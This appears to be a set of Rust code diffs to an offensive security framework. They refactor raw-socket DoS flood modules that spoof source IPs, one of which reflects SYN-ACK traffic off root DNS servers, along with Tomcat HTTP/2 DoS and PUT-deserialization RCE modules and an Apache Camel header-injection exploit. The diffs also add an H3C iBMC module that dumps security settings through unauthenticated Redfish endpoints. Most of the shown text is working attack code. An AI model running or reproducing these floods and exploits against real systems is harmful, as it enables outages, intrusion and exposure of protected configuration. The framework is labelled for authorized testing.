// RAW PACKET BUILDER (IP + UDP + SSDP M-SEARCH payload)
@@ -179,7 +143,7 @@ impl PacketBuilder {
// IP checksum
buf[10] = 0;
buf[11] = 0;
let ip_cksum = Self::checksum_16(&buf[..IPV4_HEADER_LEN]);
let ip_cksum = checksum_16(&buf[..IPV4_HEADER_LEN]);
buf[10] = (ip_cksum >> 8) as u8;
buf[11] = ip_cksum as u8;
@@ -195,7 +159,7 @@ impl PacketBuilder {
sum += u16::from_be_bytes([dst_bytes[0], dst_bytes[1]]) as u32;
sum += u16::from_be_bytes([dst_bytes[2], dst_bytes[3]]) as u32;
let udp_data = &buf[IPV4_HEADER_LEN..len];
sum = Self::sum_16(udp_data, sum);
sum = sum_16(udp_data, sum);
while (sum >> 16) != 0 {
sum = (sum & 0xFFFF) + (sum >> 16);
}
@@ -207,36 +171,9 @@ impl PacketBuilder {
len
}
#[inline(always)]
fn checksum_16(data: &[u8]) -> u16 {
let mut sum = Self::sum_16(data, 0);
while (sum >> 16) != 0 {
sum = (sum & 0xFFFF) + (sum >> 16);
}
!(sum as u16)
}
#[inline(always)]
fn sum_16(data: &[u8], init: u32) -> u32 {
let mut sum = init;
let mut i = 0;
let len = data.len();
while i + 3 < len {
sum += u16::from_be_bytes([data[i], data[i + 1]]) as u32;
sum += u16::from_be_bytes([data[i + 2], data[i + 3]]) as u32;
i += 4;
}
if i + 1 < len {
sum += u16::from_be_bytes([data[i], data[i + 1]]) as u32;
i += 2;
}
if i < len {
sum += u16::from_be_bytes([data[i], 0]) as u32;
}
sum
}
}
// ============================================================================
// RAW SOCKET + HELPERS
// ============================================================================
+6 -71
View File
@@ -5,6 +5,7 @@
//! Uses raw sockets with IP_HDRINCL for source IP spoofing.
//! FOR AUTHORIZED TESTING ONLY.
use crate::native::dos_utils::{FastRng, checksum_16, sum_16};
use anyhow::{anyhow, Context, Result};
use colored::*;
use socket2::{Domain, Protocol, Socket, Type};
@@ -13,7 +14,7 @@ use std::os::unix::io::AsRawFd;
use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
use std::sync::Arc;
use std::thread;
use std::time::{Duration, Instant, SystemTime};
use std::time::{Duration, Instant};
use crate::module::{ModuleCtx, ModuleOutcome};
use crate::native::network::{make_dst_sockaddr, send_one_raw};
@@ -33,7 +34,6 @@ const DEFAULT_WINDOW: u16 = 64240;
const SEND_BUFFER_SIZE: usize = 4 * 1024 * 1024;
const IPPROTO_TCP: u8 = 6;
/// Default reflectors: well-known web servers commonly listening on port 80/443.
const DEFAULT_REFLECTORS: &[&str] = &[
"198.41.0.4", // a.root-servers.net
"199.9.14.201", // b.root-servers.net
@@ -68,45 +68,7 @@ struct SynAckFloodConfig {
// FAST RNG (XorShift128+) — same as null_syn_exhaustion
// ============================================================================
struct FastRng {
s0: u64,
s1: u64,
}
impl FastRng {
fn with_thread_seed(thread_id: usize) -> Self {
let time_seed = SystemTime::now()
.duration_since(SystemTime::UNIX_EPOCH)
.map(|d| d.as_nanos() as u64)
.unwrap_or(0);
let s0 = time_seed ^ (thread_id as u64).wrapping_mul(0x9E3779B97F4A7C15);
let s1 = time_seed.rotate_left(17) ^ (thread_id as u64).wrapping_mul(0xBF58476D1CE4E5B9);
let mut rng = Self { s0, s1 };
for _ in 0..16 { rng.next_u64(); }
rng
}
#[inline(always)]
fn next_u64(&mut self) -> u64 {
let mut x = self.s0;
let y = self.s1;
self.s0 = y;
x ^= x << 23;
self.s1 = x ^ y ^ (x >> 17) ^ (y >> 26);
self.s1.wrapping_add(y)
}
#[inline(always)]
fn next_u32(&mut self) -> u32 { self.next_u64() as u32 }
#[inline(always)]
fn next_u16(&mut self) -> u16 { self.next_u64() as u16 }
#[inline(always)]
fn gen_ephemeral_port(&mut self) -> u16 {
(self.next_u16() % 16384) + 49152
}
}
// ============================================================================
// RAW PACKET BUILDER
@@ -186,7 +148,7 @@ impl PacketBuilder {
// IP checksum
buf[10] = 0;
buf[11] = 0;
let ip_cksum = Self::checksum_16(&buf[..IPV4_HEADER_LEN]);
let ip_cksum = checksum_16(&buf[..IPV4_HEADER_LEN]);
buf[10] = (ip_cksum >> 8) as u8;
buf[11] = ip_cksum as u8;
@@ -207,7 +169,7 @@ impl PacketBuilder {
sum += u16::from_be_bytes([dst_bytes[0], dst_bytes[1]]) as u32;
sum += u16::from_be_bytes([dst_bytes[2], dst_bytes[3]]) as u32;
let tcp_data = &buf[IPV4_HEADER_LEN..len];
sum = Self::sum_16(tcp_data, sum);
sum = sum_16(tcp_data, sum);
while (sum >> 16) != 0 {
sum = (sum & 0xFFFF) + (sum >> 16);
}
@@ -218,36 +180,9 @@ impl PacketBuilder {
len
}
#[inline(always)]
fn checksum_16(data: &[u8]) -> u16 {
let mut sum = Self::sum_16(data, 0);
while (sum >> 16) != 0 {
sum = (sum & 0xFFFF) + (sum >> 16);
}
!(sum as u16)
}
#[inline(always)]
fn sum_16(data: &[u8], init: u32) -> u32 {
let mut sum = init;
let mut i = 0;
let len = data.len();
while i + 3 < len {
sum += u16::from_be_bytes([data[i], data[i + 1]]) as u32;
sum += u16::from_be_bytes([data[i + 2], data[i + 3]]) as u32;
i += 4;
}
if i + 1 < len {
sum += u16::from_be_bytes([data[i], data[i + 1]]) as u32;
i += 2;
}
if i < len {
sum += u16::from_be_bytes([data[i], 0]) as u32;
}
sum
}
}
// ============================================================================
// RAW SOCKET HELPERS
// ============================================================================
@@ -392,7 +327,7 @@ fn worker_thread(
// ============================================================================
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
let initial_target = ctx.target.as_single().unwrap_or("");
let initial_target = ctx.target.as_single().context("syn_ack_flood requires a single-host target")?;
crate::utils::require_root("syn_ack_flood (raw TCP socket)")?;
if crate::api::is_blocked_target(initial_target) {
crate::mprintln!("{}", format!("[!] Target {} is blocked (private/loopback/metadata address)", initial_target).red().bold());
@@ -42,7 +42,7 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
1,
);
config.concurrent_connections = clamped;
execute_stress(&config).await?;
execute_stress(&config, ctx.cancel.clone()).await?;
Ok(ModuleOutcome::ok())
}
@@ -198,7 +198,10 @@ async fn setup_wizard(initial_target: &str) -> Result<TcpStressConfig> {
/// A minimal GET request that forces the server to allocate resources for parsing and response.
const HTTP_PAYLOAD: &[u8] = b"GET / HTTP/1.0\r\nHost: target\r\nConnection: close\r\n\r\n";
async fn execute_stress(config: &TcpStressConfig) -> Result<()> {
async fn execute_stress(
config: &TcpStressConfig,
cancel: tokio_util::sync::CancellationToken,
) -> Result<()> {
crate::mprintln!("\n{}", "[*] Starting TCP Connection Flood...".yellow().bold());
let stop_flag = Arc::new(AtomicBool::new(false));
@@ -304,15 +307,30 @@ async fn execute_stress(config: &TcpStressConfig) -> Result<()> {
handles.push(handle);
}
// Wait for duration or Ctrl+C
// Wait for duration, framework cancellation, or Ctrl+C. Honour ctx.cancel
// so /loop, the API/batch runner, and the universal per-host fan-out can stop
// the flood promptly instead of waiting out the timer (or, in infinite mode,
// requiring an interactive Ctrl-C that does not exist under those runners).
if config.duration_secs > 0 {
tokio::time::sleep(duration).await;
tokio::select! {
_ = tokio::time::sleep(duration) => {}
_ = cancel.cancelled() => {
crate::mprintln!("\n{}", "[!] Cancellation received — stopping flood early.".yellow());
}
}
} else {
crate::mprintln!(
"\n{}",
"[*] Running indefinitely. Press Ctrl+C to stop.".yellow()
);
if let Err(e) = tokio::signal::ctrl_c().await { crate::meprintln!("[!] Signal error: {}", e); }
tokio::select! {
_ = cancel.cancelled() => {
crate::mprintln!("\n{}", "[!] Cancellation received — stopping flood.".yellow());
}
r = tokio::signal::ctrl_c() => {
if let Err(e) = r { crate::meprintln!("[!] Signal error: {}", e); }
}
}
}
stop_flag.store(true, Ordering::SeqCst);
+2 -2
View File
@@ -1,4 +1,4 @@
use anyhow::{anyhow, Result};
use anyhow::{anyhow, Context, Result};
use colored::*;
use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
use std::sync::Arc;
@@ -57,7 +57,7 @@ enum AttackMode {
}
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
let initial_target = ctx.target.as_single().unwrap_or("");
let initial_target = ctx.target.as_single().context("telnet_iac_flood requires a single-host target")?;
display_banner();
let config = gather_config(initial_target).await?;
+7 -99
View File
@@ -5,6 +5,7 @@
//! Multiple payload modes: random bytes (default), null bytes, fixed pattern string.
//! FOR AUTHORIZED TESTING ONLY.
use crate::native::dos_utils::{FastRng, checksum_16, sum_16};
use anyhow::{anyhow, Context, Result};
use colored::*;
use socket2::{Domain, Protocol, Socket, Type};
@@ -13,7 +14,7 @@ use std::os::unix::io::AsRawFd;
use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
use std::sync::Arc;
use std::thread;
use std::time::{Duration, Instant, SystemTime};
use std::time::{Duration, Instant};
use crate::module::{ModuleCtx, ModuleOutcome};
use crate::native::network::{
@@ -64,58 +65,7 @@ struct UdpFloodConfig {
// FAST RNG (XorShift128+)
// ============================================================================
struct FastRng {
s0: u64,
s1: u64,
}
impl FastRng {
fn with_thread_seed(thread_id: usize) -> Self {
let time_seed = SystemTime::now()
.duration_since(SystemTime::UNIX_EPOCH)
.map(|d| d.as_nanos() as u64)
.unwrap_or(0);
let s0 = time_seed ^ (thread_id as u64).wrapping_mul(0x9E3779B97F4A7C15);
let s1 = time_seed.rotate_left(17) ^ (thread_id as u64).wrapping_mul(0xBF58476D1CE4E5B9);
let mut rng = Self { s0, s1 };
for _ in 0..16 { rng.next_u64(); }
rng
}
#[inline(always)]
fn next_u64(&mut self) -> u64 {
let mut x = self.s0;
let y = self.s1;
self.s0 = y;
x ^= x << 23;
self.s1 = x ^ y ^ (x >> 17) ^ (y >> 26);
self.s1.wrapping_add(y)
}
#[inline(always)]
fn next_u16(&mut self) -> u16 { self.next_u64() as u16 }
#[inline(always)]
fn gen_ephemeral_port(&mut self) -> u16 {
(self.next_u16() % 16384) + 49152
}
/// Fill a buffer with pseudo-random bytes.
#[inline]
fn fill_bytes(&mut self, buf: &mut [u8]) {
let mut i = 0;
while i + 8 <= buf.len() {
let val = self.next_u64().to_le_bytes();
buf[i..i + 8].copy_from_slice(&val);
i += 8;
}
if i < buf.len() {
let val = self.next_u64().to_le_bytes();
let remaining = buf.len() - i;
buf[i..].copy_from_slice(&val[..remaining]);
}
}
}
// ============================================================================
// RAW PACKET BUILDER (IP + UDP + payload) — for spoofed mode
@@ -205,7 +155,7 @@ impl PacketBuilder {
buf[..len].copy_from_slice(&self.template);
// Random spoofed source IP (avoid reserved ranges)
let src_ip = gen_ipv4_public(rng);
let src_ip = rng.gen_ipv4_public();
let src_bytes = src_ip.octets();
let src_port = rng.gen_ephemeral_port();
let ip_id = rng.next_u16();
@@ -221,7 +171,7 @@ impl PacketBuilder {
// IP checksum
buf[10] = 0;
buf[11] = 0;
let ip_cksum = Self::checksum_16(&buf[..IPV4_HEADER_LEN]);
let ip_cksum = checksum_16(&buf[..IPV4_HEADER_LEN]);
buf[10] = (ip_cksum >> 8) as u8;
buf[11] = ip_cksum as u8;
@@ -241,7 +191,7 @@ impl PacketBuilder {
sum += u16::from_be_bytes([src_bytes[0], src_bytes[1]]) as u32;
sum += u16::from_be_bytes([src_bytes[2], src_bytes[3]]) as u32;
let udp_data = &buf[IPV4_HEADER_LEN..len];
sum = Self::sum_16(udp_data, sum);
sum = sum_16(udp_data, sum);
while (sum >> 16) != 0 {
sum = (sum & 0xFFFF) + (sum >> 16);
}
@@ -253,51 +203,9 @@ impl PacketBuilder {
len
}
#[inline(always)]
fn checksum_16(data: &[u8]) -> u16 {
let mut sum = Self::sum_16(data, 0);
while (sum >> 16) != 0 {
sum = (sum & 0xFFFF) + (sum >> 16);
}
!(sum as u16)
}
#[inline(always)]
fn sum_16(data: &[u8], init: u32) -> u32 {
let mut sum = init;
let mut i = 0;
let len = data.len();
while i + 3 < len {
sum += u16::from_be_bytes([data[i], data[i + 1]]) as u32;
sum += u16::from_be_bytes([data[i + 2], data[i + 3]]) as u32;
i += 4;
}
if i + 1 < len {
sum += u16::from_be_bytes([data[i], data[i + 1]]) as u32;
i += 2;
}
if i < len {
sum += u16::from_be_bytes([data[i], 0]) as u32;
}
sum
}
}
fn gen_ipv4_public(rng: &mut FastRng) -> Ipv4Addr {
loop {
let raw = rng.next_u64() as u32;
let octets = raw.to_be_bytes();
match octets[0] {
0 | 10 | 127 => continue,
224..=255 => continue,
172 if (16..=31).contains(&octets[1]) => continue,
192 if octets[1] == 168 => continue,
169 if octets[1] == 254 => continue,
100 if (64..=127).contains(&octets[1]) => continue,
_ => return Ipv4Addr::new(octets[0], octets[1], octets[2], octets[3]),
}
}
}
// ============================================================================
// RAW SOCKET HELPERS
@@ -509,7 +417,7 @@ fn worker_thread_standard(
// ============================================================================
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
let initial_target = ctx.target.as_single().unwrap_or("");
let initial_target = ctx.target.as_single().context("udp_flood requires a single-host target")?;
display_banner();
let config = gather_config(initial_target).await?;
@@ -19,7 +19,7 @@
//! Affected: Apache Camel < 4.10.2 / < 4.8.5 / < 3.22.4
use anyhow::{Context, Result};
use crate::module::ModuleOutcome;
use crate::module::{Finding, FindingKind, ModuleOutcome};
use colored::*;
use std::time::Duration;
use crate::module_info::{ModuleInfo, ModuleRank};
@@ -76,6 +76,7 @@ fn build_exec_payload(command: &str) -> String {
pub async fn run(ctx: &crate::module::ModuleCtx) -> Result<crate::module::ModuleOutcome> {
let target = ctx.target.as_single().context("module requires a single-host target")?;
let mut outcome = ModuleOutcome::ok();
if crate::utils::get_global_source_port().await.is_some() {
crate::mprintln!("{}", "[*] Note: source_port does not apply to HTTP connections.".dimmed());
@@ -141,6 +142,17 @@ pub async fn run(ctx: &crate::module::ModuleCtx) -> Result<crate::module::Module
if body.contains("CVE-2025-27636-CANARY") {
crate::mprintln!("{}", "[+] CANARY REFLECTED — Simple expression is being evaluated!".green().bold());
crate::mprintln!("{}", "[+] Target is VULNERABLE to header injection.".green().bold());
outcome.findings.push(Finding {
target: normalized.clone(),
kind: FindingKind::Vulnerable,
message: format!("Apache Camel Simple language header injection (CVE-2025-27636) — canary expression evaluated via header '{}' at {}", inject_header, target_url),
data: Some(serde_json::json!({
"cve": "CVE-2025-27636",
"host": normalized,
"url": target_url,
"header": inject_header,
})),
});
} else {
crate::mprintln!("{}", "[*] Canary not reflected in body — may still be vulnerable (blind).".yellow());
}
@@ -204,7 +216,7 @@ pub async fn run(ctx: &crate::module::ModuleCtx) -> Result<crate::module::Module
crate::mprintln!("{}", "[*] Note: This CVE requires the route to use Simple for header processing.".yellow());
crate::mprintln!("{}", "[*] Remediation: upgrade Apache Camel to >= 4.10.2 / 4.8.5 / 3.22.4".yellow());
Ok(ModuleOutcome::ok())
Ok(outcome)
}
crate::register_native_module!(crate::module::Category::Exploits, "frameworks/apache_camel/cve_2025_27636_camel_header_injection", native);
@@ -41,8 +41,15 @@ pub async fn run(ctx: &crate::module::ModuleCtx) -> Result<crate::module::Module
let port = cfg_prompt_port("port", "Enter target port", url_port).await?;
let clean_host = strip_ipv6_brackets(&host);
let num_tasks = 300;
let requests_per_task = 100000;
// Bound the total work so the module honours the framework timeout and stays
// cancellable. The previous 300 x 100000 (= 30M requests/host) fan-out ran
// effectively unbounded under per-host mass scans and could not be aborted.
let num_tasks: usize = 16;
let requests_per_task: usize = 2000;
let cancel = ctx.cancel.clone();
let limiter = ctx.limiter.clone();
let module_path = ctx.module_path.clone();
let mut outcome = ModuleOutcome::ok();
@@ -52,26 +59,67 @@ pub async fn run(ctx: &crate::module::ModuleCtx) -> Result<crate::module::Module
crate::mprintln!("Tasks: {}, Requests per task: {}", num_tasks, requests_per_task);
crate::mprintln!("{}", "Monitor memory manually via VisualVM or check catalina.out for OutOfMemoryError.".yellow());
let monitor_handle = tokio::spawn(monitor_server(clean_host.clone(), port));
// monitor_server reports whether the target became unreachable while
// the attack was running; that crash signal is what we gate the
// Vulnerable finding on (HTTP/2 support alone is NOT proof).
// A shared flag lets us read the crash state even after we abort the
// monitor task once the (bounded) attack workers complete.
let crashed_flag = std::sync::Arc::new(std::sync::atomic::AtomicBool::new(false));
let monitor_handle = tokio::spawn(monitor_server(
clean_host.clone(),
port,
crashed_flag.clone(),
cancel.clone(),
));
let mut handles = Vec::new();
for i in 0..num_tasks {
let h = clean_host.clone();
handles.push(tokio::spawn(send_invalid_priority_requests(h, port, requests_per_task, i)));
handles.push(tokio::spawn(send_invalid_priority_requests(
h,
port,
requests_per_task,
i,
cancel.clone(),
limiter.clone(),
module_path.clone(),
)));
}
for handle in handles {
if let Err(e) = handle.await { eprintln!("[!] Task join failed: {}", e); }
// Await workers, but abort promptly if the run is cancelled.
let join_all = async {
for handle in handles {
if let Err(e) = handle.await { eprintln!("[!] Task join failed: {}", e); }
}
};
tokio::select! {
_ = join_all => {}
_ = cancel.cancelled() => {
crate::mprintln!("{}", "[*] Cancellation requested; stopping attack.".yellow());
}
}
// Attack workers are done (or cancelled); stop the monitor and read
// the crash signal it recorded.
monitor_handle.abort();
let crashed = crashed_flag.load(std::sync::atomic::Ordering::SeqCst);
outcome.findings.push(Finding {
target: clean_host.clone(),
kind: FindingKind::Vulnerable,
message: format!("Apache Tomcat HTTP/2 memory leak DoS attack executed (CVE-2025-31650)"),
data: Some(serde_json::json!({ "host": clean_host, "port": port })),
});
if crashed {
outcome.findings.push(Finding {
target: clean_host.clone(),
kind: FindingKind::Vulnerable,
message: "Apache Tomcat became unreachable during HTTP/2 priority-header attack (CVE-2025-31650 DoS confirmed)".to_string(),
data: Some(serde_json::json!({ "host": clean_host, "port": port, "cve": "CVE-2025-31650", "crashed": true })),
});
} else {
// Attack delivered but no crash observed: do not assert vulnerability.
outcome.findings.push(Finding {
target: clean_host.clone(),
kind: FindingKind::Note,
message: "Apache Tomcat HTTP/2 priority-header DoS payload delivered; target remained reachable (unconfirmed, verify memory via VisualVM/catalina.out)".to_string(),
data: Some(serde_json::json!({ "host": clean_host, "port": port, "cve": "CVE-2025-31650", "crashed": false })),
});
}
}
Ok(false) => {
bail!("Target does not support HTTP/2. Exploit not applicable.");
@@ -127,7 +175,15 @@ async fn check_http2_support(host: &str, port: u16) -> Result<bool> {
}
}
async fn send_invalid_priority_requests(host: String, port: u16, count: usize, task_id: usize) {
async fn send_invalid_priority_requests(
host: String,
port: u16,
count: usize,
task_id: usize,
cancel: tokio_util::sync::CancellationToken,
limiter: std::sync::Arc<crate::rate_limit::GlobalLimiter>,
module_path: String,
) {
let priorities = get_invalid_priorities();
// NOTE: http2_prior_knowledge() requires raw ClientBuilder
let client = match ClientBuilder::new()
@@ -146,6 +202,12 @@ async fn send_invalid_priority_requests(host: String, port: u16, count: usize, t
let url = format!("https://{}:{}/", host, port);
for _ in 0..count {
// Cooperative cancellation: stop immediately if the run was cancelled.
if cancel.is_cancelled() {
return;
}
// Respect the global rate limiter / RPS cap.
limiter.acquire(&module_path, &host).await;
let prio = priorities.choose(&mut rand::rng())
.copied()
.unwrap_or("u=0")
@@ -166,8 +228,20 @@ async fn send_invalid_priority_requests(host: String, port: u16, count: usize, t
}
}
async fn monitor_server(host: String, port: u16) {
/// Monitor the target while the attack runs. Sets `crashed_flag` to true only if
/// the target, having been reachable, became unreachable (a crash signal). Never
/// sets it on DNS/resolution problems, so we never falsely claim a DoS.
async fn monitor_server(
host: String,
port: u16,
crashed_flag: std::sync::Arc<std::sync::atomic::AtomicBool>,
cancel: tokio_util::sync::CancellationToken,
) {
let mut was_reachable = false;
loop {
if cancel.is_cancelled() {
return;
}
let addr_result = tokio::net::lookup_host(format!("{}:{}", host, port)).await;
match addr_result {
@@ -175,18 +249,24 @@ async fn monitor_server(host: String, port: u16) {
if let Some(addr) = addrs.next() {
if crate::utils::blocking_tcp_connect(&addr, Duration::from_secs(2)).is_ok() {
crate::mprintln!("{}", format!("Target {}:{} is reachable.", host, port).yellow());
was_reachable = true;
} else {
crate::mprintln!("{}", format!("Target {}:{} unreachable or crashed!", host, port).red());
break;
// Only a transition from reachable -> unreachable counts
// as a confirmed crash attributable to the attack.
if was_reachable {
crashed_flag.store(true, std::sync::atomic::Ordering::SeqCst);
}
return;
}
} else {
crate::mprintln!("{}", "DNS lookup failed.".red());
break;
return;
}
}
Err(e) => {
crate::mprintln!("{}", format!("Failed to resolve host for monitoring: {e}").red());
break;
return;
}
}
@@ -16,11 +16,11 @@
//! A subsequent GET request with a crafted JSESSIONID triggers deserialization.
use anyhow::{Context, Result, bail};
use crate::module::ModuleOutcome;
use crate::module::{ModuleOutcome, Finding, FindingKind};
use colored::*;
use reqwest::Client;
use std::time::Duration;
use crate::module_info::{ModuleInfo, ModuleRank, CheckResult};
use crate::module_info::{ModuleInfo, ModuleRank};
use crate::utils::{cfg_prompt_default, cfg_prompt_port, normalize_target};
const DEFAULT_PORT: u16 = 8080;
@@ -91,72 +91,7 @@ fn build_serialized_payload(command: &str) -> Vec<u8> {
payload
}
/// Non-destructive vulnerability check.
/// Sends a PUT request to /.session with benign data to see if the default
/// servlet is write-enabled (409 Conflict or 201 Created indicates vulnerability).
pub async fn check(ctx: &crate::module::ModuleCtx) -> CheckResult {
let target = ctx.target.as_single().unwrap_or("");
let client = match build_client() {
Ok(c) => c,
Err(e) => return CheckResult::Error(format!("Failed to build HTTP client: {}", e)),
};
let url = format!("http://{}:{}/.session", target, DEFAULT_PORT);
// Phase 1: Check if PUT is accepted on the default servlet
match client
.put(&url)
.header("Content-Range", "bytes 0-0/1")
.body("X")
.send()
.await
{
Ok(resp) => {
let status = resp.status().as_u16();
let server = resp
.headers()
.get("server")
.and_then(|v| v.to_str().ok())
.unwrap_or("")
.to_string();
let is_tomcat = server.contains("Apache-Coyote")
|| server.contains("Apache Tomcat")
|| server.contains("Tomcat");
match status {
201 | 204 => CheckResult::Vulnerable(format!(
"PUT to /.session returned HTTP {} (write-enabled default servlet). Server: {}. \
Target is likely vulnerable to CVE-2025-24813.",
status, server
)),
409 => CheckResult::Vulnerable(format!(
"PUT to /.session returned HTTP 409 Conflict (partial PUT supported). Server: {}. \
Target is likely vulnerable to CVE-2025-24813.",
server
)),
405 if is_tomcat => CheckResult::NotVulnerable(
"PUT method not allowed on default servlet. Tomcat detected but write is disabled.".to_string(),
),
_ if is_tomcat => CheckResult::Unknown(format!(
"Tomcat detected (Server: {}) but PUT returned HTTP {}. Manual verification needed.",
server, status
)),
_ => CheckResult::NotVulnerable(format!(
"Target does not appear to be a vulnerable Tomcat instance (HTTP {}, Server: {}).",
status, server
)),
}
}
Err(e) => {
if e.is_timeout() {
CheckResult::Unknown("Connection timed out - target may be unreachable".to_string())
} else {
CheckResult::Unknown(format!("Could not connect to target: {}", e))
}
}
}
}
/// Main exploit entry point.
pub async fn run(ctx: &crate::module::ModuleCtx) -> Result<crate::module::ModuleOutcome> {
@@ -246,6 +181,24 @@ pub async fn run(ctx: &crate::module::ModuleCtx) -> Result<crate::module::Module
);
crate::workspace::track_host(&normalized, None, Some("Apache Tomcat (CVE-2025-24813)")).await;
// Record the confirmed write primitive immediately so a vulnerable host is
// never silently lost (previously the function returned an empty outcome).
let mut outcome = ModuleOutcome::ok();
outcome.findings.push(Finding {
target: normalized.clone(),
kind: FindingKind::Vulnerable,
message: format!(
"Apache Tomcat default servlet accepts partial PUT writes (CVE-2025-24813 write primitive confirmed) on {}",
base_url
),
data: Some(serde_json::json!({
"host": normalized,
"port": port,
"cve": "CVE-2025-24813",
"put_status": put_status.as_u16(),
})),
});
// Phase 3: Upload serialized payload via partial PUT
crate::mprintln!("{}", "[*] Phase 3: Uploading serialized session payload...".cyan());
let payload = build_serialized_payload(&command);
@@ -314,6 +267,24 @@ pub async fn run(ctx: &crate::module::ModuleCtx) -> Result<crate::module::Module
"{}",
format!("[+] Command '{}' should have executed on the target.", command).green()
);
// HTTP 500 only indicates a server-side error during deserialization; it
// does not prove the gadget executed our command. Without an OOB callback
// we record this as an unconfirmed Note rather than asserting RCE.
outcome.findings.push(Finding {
target: normalized.clone(),
kind: FindingKind::Note,
message: format!(
"Tomcat deserialization payload delivered; trigger returned HTTP 500 (RCE unconfirmed, no execution callback) on {}",
base_url
),
data: Some(serde_json::json!({
"host": normalized,
"port": port,
"cve": "CVE-2025-24813",
"trigger_status": trigger_status.as_u16(),
"confirmed": false,
})),
});
} else {
crate::mprintln!(
"{}",
@@ -340,7 +311,7 @@ pub async fn run(ctx: &crate::module::ModuleCtx) -> Result<crate::module::Module
"Verify command execution via out-of-band callback or target inspection.".yellow()
);
Ok(ModuleOutcome::ok())
Ok(outcome)
}
crate::register_native_module!(crate::module::Category::Exploits, "frameworks/apache_tomcat/cve_2025_24813_tomcat_put_rce", native, has_check);
crate::register_native_module!(crate::module::Category::Exploits, "frameworks/apache_tomcat/cve_2025_24813_tomcat_put_rce", native);
@@ -0,0 +1,504 @@
//! H3C iBMC Firewall Rule Extractor — Redfish security posture dump.
//!
//! H3C iBMC firmware exposes a Redfish API on HTTPS (:443 by default) with
//! several OEM-specific endpoints that reveal the full security posture of the
//! BMC: firewall rules, system lock states, login security policies, network
//! service configurations (KVM, VNC, SNMP, Syslog, SMTP, SOL, USB), and the
//! security dashboard.
//!
//! Many H3C BMC firmware versions have broken access control on these OEM
//! endpoints, allowing unauthenticated GET requests to return the full JSON
//! payloads. Even when authentication is enforced, a valid X-Auth-Token
//! obtained from another vulnerability (e.g. the WebSocket dump module) can
//! be used to enumerate the entire defense posture.
//!
//! This module operates in two modes:
//! 1. **Unauthenticated** — attempts every endpoint without credentials.
//! 2. **Authenticated** — uses a provided X-Auth-Token header plus the
//! standard H3C session cookies.
//!
//! FOR AUTHORIZED TESTING ONLY.
use anyhow::{Context, Result};
use colored::*;
use std::time::Duration;
use crate::module::{Finding, FindingKind, ModuleCtx, ModuleOutcome};
use crate::module_info::{ModuleInfo, ModuleRank};
use crate::utils::{cfg_prompt_default, cfg_prompt_int_range, cfg_prompt_yes_no};
use crate::utils::network::{build_http_client_with, HttpClientOpts};
const DEFAULT_PORT: u16 = 443;
const REQUEST_TIMEOUT_SECS: u64 = 12;
const SECURITY_ENDPOINTS: &[(&str, &str)] = &[
("/redfish/v1/Managers/1/Oem/Public/FirewallRules", "BMC firewall rules"),
("/redfish/v1/Managers/1/Oem/Public/SystemLockResource", "System lock state"),
("/redfish/v1/Managers/1/Oem/Public/SecurityDashboard", "Security dashboard"),
("/redfish/v1/Managers/1/Oem/Public/LoginSecurityInformation", "Login security config"),
("/redfish/v1/Managers/1/NetworkProtocol", "Network protocol services"),
("/redfish/v1/Managers/1/Oem/Public/SOLMode", "Serial-over-LAN config"),
("/redfish/v1/Managers/1/KvmService", "KVM service config"),
("/redfish/v1/Managers/1/VncService", "VNC service config"),
("/redfish/v1/Managers/1/SnmpService", "SNMP service config"),
("/redfish/v1/Managers/1/SyslogService", "Syslog service config"),
("/redfish/v1/Managers/1/SmtpService", "SMTP alert service config"),
("/redfish/v1/Managers/1/Oem/Public/USBDeviceService", "USB device service"),
("/redfish/v1/AccountService", "Account lockout/password policy"),
];
fn display_banner() {
if crate::utils::is_batch_mode() { return; }
crate::mprintln!("{}", "╔══════════════════════════════════════════════════════════════╗".red());
crate::mprintln!("{}", "║ H3C iBMC Firewall Rule Extractor — Security Posture Dump ║".red().bold());
crate::mprintln!("{}", "║ Dumps firewall rules, lock states, services, dashboards ║".red());
crate::mprintln!("{}", "║ Works unauthenticated (broken ACL) or with X-Auth-Token ║".red());
crate::mprintln!("{}", "║ FOR AUTHORIZED TESTING ONLY ║".red());
crate::mprintln!("{}", "╚══════════════════════════════════════════════════════════════╝".red());
crate::mprintln!();
}
pub fn info() -> ModuleInfo {
ModuleInfo {
name: "H3C iBMC Firewall Rule Extractor".to_string(),
description: "Queries H3C iBMC Redfish OEM endpoints to extract the full security \
posture: firewall rules, system lock states, network service configs \
(KVM, VNC, SNMP, SOL, Syslog, SMTP, USB), login security policies, \
account lockout settings, and the security dashboard. Many firmware \
versions expose these endpoints without authentication due to broken \
access control. FOR AUTHORIZED TESTING ONLY."
.to_string(),
authors: vec!["RustSploit Contributors".to_string()],
references: vec![
"https://www.dmtf.org/standards/redfish".to_string(),
"https://owasp.org/Top10/A01_2021-Broken_Access_Control/".to_string(),
],
disclosure_date: None,
rank: ModuleRank::Great,
default_port: None,
}
}
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
let target = ctx.target.as_single().context("module requires a single-host target")?;
display_banner();
let host = sanitize_host(target);
let port = cfg_prompt_int_range("port", "BMC HTTPS port", DEFAULT_PORT as i64, 1, 65535).await? as u16;
let token = cfg_prompt_default(
"auth_token",
"X-Auth-Token (leave empty for unauthenticated mode)",
"",
).await?;
let verbose = cfg_prompt_yes_no("verbose", "Print full JSON responses?", false).await?;
let authenticated = !token.trim().is_empty();
let base_url = format!("https://{}:{}", host, port);
if authenticated {
crate::mprintln!("{}", format!("[*] Authenticated mode — token: {}...", token.chars().take(12).collect::<String>()).cyan());
} else {
crate::mprintln!("{}", "[*] Unauthenticated mode — testing for broken ACLs".cyan());
}
crate::mprintln!("{}", format!("[*] Target: {}", base_url).yellow());
crate::mprintln!();
let client = build_client(authenticated, &token)?;
let mut outcome = ModuleOutcome::ok();
let mut accessible: Vec<(&str, String)> = Vec::new();
let mut denied: Vec<&str> = Vec::new();
for (path, label) in SECURITY_ENDPOINTS {
let url = format!("{}{}", base_url, path);
crate::mprintln!("{}", format!("[*] Querying: {} ...", label).cyan());
ctx.rate_limit(&host).await;
let resp = match client.get(&url).send().await {
Ok(r) => r,
Err(e) => {
crate::mprintln!("{}", format!(" [-] Request failed: {}", e).red());
continue;
}
};
let status = resp.status();
